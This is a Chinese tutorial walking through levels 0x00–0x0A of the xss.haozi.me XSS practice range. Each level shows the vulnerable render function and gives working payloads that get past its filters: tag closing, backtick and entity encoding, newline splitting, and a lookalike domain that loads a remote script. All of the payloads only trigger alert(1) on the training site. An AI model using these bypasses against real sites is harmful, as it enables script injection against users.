xss.haozi.me靶场“0x00-0x0A”通关教程

君衍.

  • 一、靶场介绍
  • 二、第一关 0x00 不做限制
  • 三、第二关 0x01 文本闭合标签绕过
  • 四、第三关 0x02 双引号闭合绕过
  • 五、第四关 0x03 过滤括号
  • 六、第五关 0x04 编码绕过
  • 七、第六关 0x05 注释闭合绕过
  • 八、第七关 0x06 换行绕过
  • 九、第八关 0x07 删除标签
  • 十、第九关 0x08 多加空格绕过
  • 十一、第十关 0x09 闭合绕过
  • 十二、第十一关 0x0A JS调用

一、靶场介绍

该靶场直接使用网站进去即可练习:
https://xss.haozi.me/#/0x00
在这里插入图片描述
每关完成弹窗alert(1)即可过关。

二、第一关 0x00 不做限制

在这里插入图片描述

源码:

function render (input) {return '<div>' + input + '</div>'
}

我们即可看到将传入的值直接放div输出来,所以我们使用常用的payload即可:

<script>alert(1)</script>

在这里插入图片描述

<a href=javascript:alert(1)>aaa</a>

在这里插入图片描述
点击即可通关。

<a href="1" onclick=alert(1)>a</a>

在这里插入图片描述
点击即可通关,所以这里通关方法挺多,这里不赘述。

三、第二关 0x01 文本闭合标签绕过

在这里插入图片描述
源码:

function render (input) {return '<textarea>' + input + '</textarea>'
}

函数的实现是将 input 参数的值插入到 <textarea> 标签的起始标签和结束标签之间,这样就创建了一个包含指定内容的文本区域(textarea)。
在这里插入图片描述
所以我们这里需要进行闭合,逃逸掉。

</textarea><a href="1" onclick=alert(1)>a</a>

在这里插入图片描述
点击即可完成触发:
在这里插入图片描述
当然,我们也可以用户不参与:

</textarea><img src="1" onerror=alert(1)>

在这里插入图片描述

</textarea><script>alert(1)</script>

在这里插入图片描述

四、第三关 0x02 双引号闭合绕过

本关其实与上一关差不多:
在这里插入图片描述
可以看到这里并不解析JS,同时源码如下:

function render (input) {return '<input type="name" value="' + input + '">'
}

函数的实现是将传入的 input 参数值插入到 <input> 元素的 value 属性中,这样就创建了一个包含特定值的输入框(input),其类型为 “name”。最终返回的字符串包含了完整的 <input> 元素标签及其属性,以及传入的 input 参数值作为输入框的默认值。
所以我们需要进行逃逸,这里我们使用双引号闭合掉,完成逃逸:

1"><script>alert(1)</script>

在这里插入图片描述

1" οnclick="alert(1)

在这里插入图片描述

1"><img src="1" οnerrοr="alert(1)">

在这里插入图片描述

五、第四关 0x03 过滤括号

在这里插入图片描述
我们可以看到这里括号没了,查看源码:

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}

函数首先创建了一个名为 stripBracketsRe 的正则表达式,用于匹配输入字符串中的所有括号(包括圆括号)。然后,它使用 replace 方法将输入字符串中的所有括号替换为空字符串,即将括号从输入字符串中删除。最后,函数返回经过括号删除处理后的字符串。
所以我们需要将括号绕过,这里用两种方式,使用`来进行绕过:

<script>alert`1`</script>

在这里插入图片描述

<img src=1 onerror="alert`1`">

在这里插入图片描述
同时我们也可以使用编码绕过:

<img src=1 onerror="javascript:alert&#40;1&#41;">

在这里插入图片描述

<a href="1" onclick=alert`1`>aaa</a>

在这里插入图片描述
非常多,这里就不举例了。

六、第五关 0x04 编码绕过

在这里插入图片描述
这里我们可以看到`也进行了过滤,所以我们查看源码:

function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input
}

可以看到比第四关多了一个`号,不让我们使用来其进行绕过,所以我们依旧可以使用编码:

<svg><script>alert&#40;1&#41;</script></scg>

在这里插入图片描述

<iframe srcdoc="<script>alert&#40;1&#41;)</script>">

在这里插入图片描述

<img src=1 onerror=alert&#40;1&#41>

在这里插入图片描述

七、第六关 0x05 注释闭合绕过

在这里插入图片描述
我们可以看到给我们注释掉了,所以我们查看源码:

function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}

函数使用正则表达式 /–>/g 来匹配输入字符串中所有的 “–>”(HTML注释的结束标记),然后通过 replace 方法将这些匹配的字符串替换为 ‘😂’,一个笑脸符号(这里用作替换内容的示例)。最后,函数返回一个字符串,其中包含了处理后的输入字符串,但注释结束标记已经被替换为 ‘😂’。
所以这里我们肯定是要闭合掉注释完成逃逸,这里可以使用–!>:

--!><script>alert(1)</script>

在这里插入图片描述
剩下payload就不列举了,肯定是先闭合掉。

八、第七关 0x06 换行绕过

在这里插入图片描述
本关我们很明显可以看到首先进行了过滤,查看源码:

function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}

函数使用了正则表达式 /auto|on.*=|>/ig 来匹配输入字符串中的三种模式:auto、on 后跟任意字符直到等号 = 以及 >。然后,通过调用字符串的 replace 方法,将匹配到的内容替换为下划线 _。最后,函数返回一个包含了 <input> 元素的字符串。在该字符串中,input 元素的 value 属性被设置为 1,而其他属性则由参数 input 决定,经过处理后使用。这样,函数的主要作用是将输入字符串中的 auto、以 on 开头后接任意字符直到等号 = 以及 > 这三种模式替换为下划线 _,然后构造一个 <input> 元素的字符串返回。
但是并没有匹配换行符,所以我们也可以使用回车来进行绕过:

onclick
="alert(1)"

点击即可触发:
在这里插入图片描述

type="image" src="" onerror
=alert(1)

当然我们这里也可以将输入框的类型变为图像输入,同时指定图像url,这里直接为空,从而使其执行报错,onerror中的内容,图片加载失败即可完成alert(1)函数的触发,从而完成1的弹窗。
在这里插入图片描述

九、第八关 0x07 删除标签

我们使用闭合以及最简单的弹窗来观察过滤:
在这里插入图片描述
查看源码:

function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}

函数首先创建了一个名为 stripTagsRe 的正则表达式,用于匹配输入字符串中的所有 HTML 标签,包括标签的起始标记 <tag> 和结束标记 </tag>,以及标签中的属性。然后,通过调用字符串的 replace 方法,将匹配到的标签及其属性替换为空字符串,从而删除了所有 HTML 标签。最后,函数返回一个包含在 <article> 元素中的字符串,其中的内容是经过删除 HTML 标签处理后的 input 字符串。

<img src="" onerror="alert(1)"

在这里插入图片描述

<svg/onload="alert(1)"

在这里插入图片描述

这里我们依旧可以完成绕过是因为render函数虽然删除了HTML标签,丹斯onerror事件处理并不需要依附于任何实际的HTML标签来进行触发,所以第一个我们尝试访问加载图像,没有则事件触发,从而完成弹窗。

十、第九关 0x08 多加空格绕过

我们依旧尝试闭合弹窗,观察回显:
在这里插入图片描述
查看源码:

function render (src) {src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')return `<style>${src}</style>`
}

函数首先使用正则表达式 /<\/style>/ig 来匹配输入字符串中的 </style> 标记。然后,通过调用字符串的 replace 方法,将匹配到的 </style> 标记替换为一个注释 /* 垃圾人 */。在注释中使用了 Unicode 转义序列 \u574F\u4EBA,其对应的是中文字符 “坏人”。这样,函数将 </style> 替换为了注释 “/* 垃圾人 */”。最后,函数返回一个包含在 <style> 元素中的字符串。
所以这里我们可以使用多加空格来进行绕过:

</style ><script>alert(1)</script>

在这里插入图片描述
同时我们也可以利用正则不能匹配空格来进行绕过:

</style
><script>alert(1)</script>

在这里插入图片描述

十一、第十关 0x09 闭合绕过

本关我们需要使用到该靶场提供的一个JS:

https://xss.haozi.me/j.js

在这里插入图片描述
以及我们查看源码可得:

function render (input) {let domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${input}"></script>`}return 'Invalid URL'
}

函数首先定义了一个正则表达式 domainRe,用于匹配以 http:// 或 https:// 开头,后跟 www.segmentfault.com 的 URL。然后,函数使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果符合,则返回一个包含该 URL 的 <script> 标签,否则返回 'Invalid URL'。在返回的 <script> 标签中,${input} 被插入到了 src 属性中,这样可以动态加载指定 URL 的脚本。如果输入的 URL 符合 domainRe 定义的格式,则会返回类似于 <script src="https://www.segmentfault.com"></script> 这样的字符串;否则会返回 'Invalid URL'
所以这里我们需要使用该网址头部:
在这里插入图片描述

http://www.segmentfault.com.haozi.me/j.js

在这里插入图片描述
我们即可利用服务器提供的JS完成弹窗。当然,如果不清楚官方提供的JS,我们也可以直接闭合,使用别的方式完成弹窗:

https://www.segmentfault.com"></script><img src="" οnerrοr="alert(1)

这里我们直接使用了闭合,然后使用img标签来完成图像的调用,从而报错完成触发。
在这里插入图片描述

https://www.segmentfault.com"></script><script>alert(1)</script>

在这里插入图片描述
闭合逃逸掉,我们就可以使用多种payload完成触发。

十二、第十一关 0x0A JS调用

本关如果我们采用上一关闭合的payload,可以看到:
在这里插入图片描述
这里是被实体编码了,从而没法完成调用,所以我们查看源码:

function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&amp;').replace(/'/g, '&#39;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\//g, '&#x2f')}const domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${escapeHtml(input)}"></script>`}return 'Invalid URL'
}

首先定义了一个名为 escapeHtml 的内部函数,用于转义 HTML 中的特殊字符。该函数将 &, ', ", <, >, / 分别替换为它们对应的 HTML 实体,以防止 XSS 攻击和 HTML 注入等安全问题。接着,定义了一个正则表达式 domainRe,用于匹配以 http://https:// 开头,后跟 www.segmentfault.com 的 URL。然后,使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果输入的 URL 符合 domainRe 定义的格式,则调用 escapeHtml 函数对输入的 URL 进行 HTML 转义,并将其插入到 <script> 标签的 src 属性中,最终返回类似于 <script src="https://www.segmentfault.com"></script> 的字符串。如果输入的 URL 不符合格式,则返回 ‘Invalid URL’ 字符串。
所以本关其实与上一关差不多,但是我们如果采用闭合,那么将会被实体编码从而无法完成调用。本关我们只能采用使用官方的JS进行调用:
在这里插入图片描述

https://www.segmentfault.com.haozi.me/j.js

在这里插入图片描述
从而完成我们的弹窗触发。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738406.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

负数的四舍五入

负数的四舍五入 标签:基础 System.out.println(Math.round(-0.2)); System.out.println(Math.round(-0.5)); System.out.println(Math.round(-0.6));0 0 -1理解:四舍五入,找一个离目标小数近的整数,-0.2和0近,-0.6和-1近,中间的往右靠

力扣每日一题 将标题首字母大写 模拟 String API

Problem: 2129. 将标题首字母大写 文章目录 思路复杂度Code 思路 &#x1f468;‍&#x1f3eb; 灵神题解 复杂度 ⏰ 时间复杂度: O ( n ) O(n) O(n) &#x1f30e; 空间复杂度: O ( n ) O(n) O(n) Code class Solution {public String capitalizeTitle(String title)…

重定向、管道与环境变量

前言&#xff1a;测试开发的学习已经开启第三周的学习了。 奋斗至此&#xff0c;内容已稍有难度。 发现每一点都有其深挖的地方&#xff0c;但读书在某些方面来讲要不求甚解&#xff0c;如果只在一点深挖&#xff0c;那可能进度很难提的上来。 继续加油&#xff01;&#xf…

es 分词器详解

基本概念 分词器官方称之为文本分析器&#xff0c;顾名思义&#xff0c;是对文本进行分析处理的一种手段&#xff0c;基本处理逻辑为按照预先制定的分词规则&#xff0c;把原始文档分割成若干更小粒度的词项&#xff0c;粒度大小取决于分词器规则。 分词器发生的时期 1、分词…

实现支持多选的QComboBox

Qt提供的QComboBox只支持下拉列表内容的单选&#xff0c;但通过QComboBox提供的setModel、setView、setLineEdit三个方法&#xff0c;可以对QComboBox进行改造&#xff0c;使其实现下拉列表选项的多选。 QComboBox可以看作两个组件的组合&#xff1a;一个QLineEdit和一个QList…

ctfshow web入门 php特性总结

1.web89 intval函数的利用&#xff0c;intval函数获取变量的整数值&#xff0c;失败时返回0&#xff0c;空的数组返回&#xff0c;非空数组返回1 num[]1 intval ( mixed $var [, int $base 10 ] ) : int Note: 如果 base 是 0&#xff0c;通过检测 var 的格式来决定使用的进…

【工具】Git的介绍与安装

目录 前言 1W&#xff1a;什么是Git&#xff1f; 2W&#xff1a;为什么使用Git&#xff1f; 3W&#xff1a;如何使用Git&#xff1f; Git的安装步骤 测试 3.1 桌面空白部分鼠标右击 3.2 选择 Open Git Bash here 3.3 输入 git -v 命令查看版本 Git区域分布 Git的工作…

软件无线电系列——软件无线电的发展历程及体系框架

本节目录 一、软件无线电的起始 二、软件无线电SDR论坛 三、SPEAKeasy计划 四、JTRS与SCA 五、软件无线电体系框架本节内容 一、软件无线电的起始 1992年5月&#xff0c;美国电信会议上&#xff0c;Joseph Mitola III博士提出来软件无线电(Software Radio,SR)的概念。理想化的…

Qt/QML编程之路:fork、vfork、exec、clone的对比及使用(46)

前言: 系统调用system call是OS提供的服务提供接口。系统调用fork()、vfork()、exec()和clone()都用于创建和操作进程。Linux下Qt编程也会用到vfork进行多进程间通信。让我们看一下以下每个系统调用的概述和比较: fork()、vfork()和clone()的工作原理相似,但在处…

【Vue】.sync 修饰符作用

文章目录 基本用法 基本用法 官方文档是这样介绍的&#xff1a;.sync 修饰符 简单来说就是实现父子组件数据之间的双向绑定&#xff0c;当子组件修改了一个 props 的值时&#xff0c;也会同步到父组件中&#xff0c;实现子组件同步修改父组件&#xff0c;与v-model类似。类别在…

计算机网络面经八股-什么是 SYN洪泛攻击?如何防范?

SYN洪泛攻击属于 DOS 攻击的一种&#xff0c;它利用 TCP 协议缺陷&#xff0c;通过发送大量的半连接请求&#xff0c;耗费 CPU 和内存资源。 原理&#xff1a; 在三次握手过程中&#xff0c;服务器发送 [SYN/ACK] 包&#xff08;第二个包&#xff09;之后、收到客户端的 [ACK…

狂飙Linux平台,PostgreSQL16部署大全

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…

VUE学习第三篇----VUE实例

1、当一个 Vue 实例被创建时&#xff0c;它将 data 对象中的所有的 property 加入到 Vue 的响应式系统中。当这些 property 的值发生改变时&#xff0c;视图将会产生“响应”&#xff0c;即匹配更新为新的值。 html网页文件如下所示&#xff1a; <html> <head> &…

JavaSE——面向对象高级一(3/4)-面向对象三大特征之二:继承(初步认识继承、了解继承的好处)

目录 认识继承 继承的好处 认识继承 什么是继承&#xff1f; Java中提供了一个关键字extends&#xff0c;用这个关键字&#xff0c;可以让一个类和另一个类建立起父子关系。 例如&#xff1a; public class B extends A{} 此时A类就称为父类&#xff08;基类或超类&…

MySQL Connector连接失败之SSL connection error: protocol version mismatch

调用 mysql_real_connect&#xff08;&#xff09; 连接失败&#xff0c;报错为ERROR 2026 (HY000): SSL connection error: protocol version mismatch 调用mysql_error&#xff08;&#xff09;查看失败原因&#xff0c;结果为 SSL connection error: protocol version …

人口性别年龄分布数据、不同年龄结构、性别结构人口分布数据、乡镇街道人口分布数据

人口分布是指人口在一定时间内的空间存在形式、分布状况&#xff0c;包括各类地区总人口的分布&#xff0c;以及某些特定人口&#xff08;如城市人口、、特定的人口过程和构成&#xff08;如迁移、性别等&#xff09;的分布等。 人口分布的最大特征是不平衡性。就全世界而言&am…

Edu12 Beautiful Subarrays --- 题解

Beautiful Subarrays&#xff1a; 题目大意: 思路解析&#xff1a; 要找到一个区间并且区间的l--r里面所有的元素异或值大于等于k&#xff0c;称这样的数组是优美子数组&#xff0c;问优美子数组有多少个。 [L,R] 的数组异或和等价于 (a1,a2,a3,....aL-1) ^ (a1,a2,a3,a4,..…

CompletionService 处理异步任务

案例: public static void main(String[] args) throws Exception {ExecutorService executorService Executors.newCachedThreadPool();ArrayList<Future<Integer>> list new ArrayList<>();Future<Integer> future_15 executorService.submit(()…

【2024金三银四】

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

不锈钢电阻器-栅极电阻器 - 为什么要使用它们呢?

常规 如果你看一个典型的吉他放大器的原理图&#xff0c;你会注意到有一个电阻器与第一个电子管的栅极串联&#xff0c;通常在68K左右&#xff0c;还有一个电阻器与功率管的栅极串联&#xff0c;通常为1.5K或5.6K&#xff0c;你可能会偶尔看到非常大的电阻&#xff0c; 例如 4…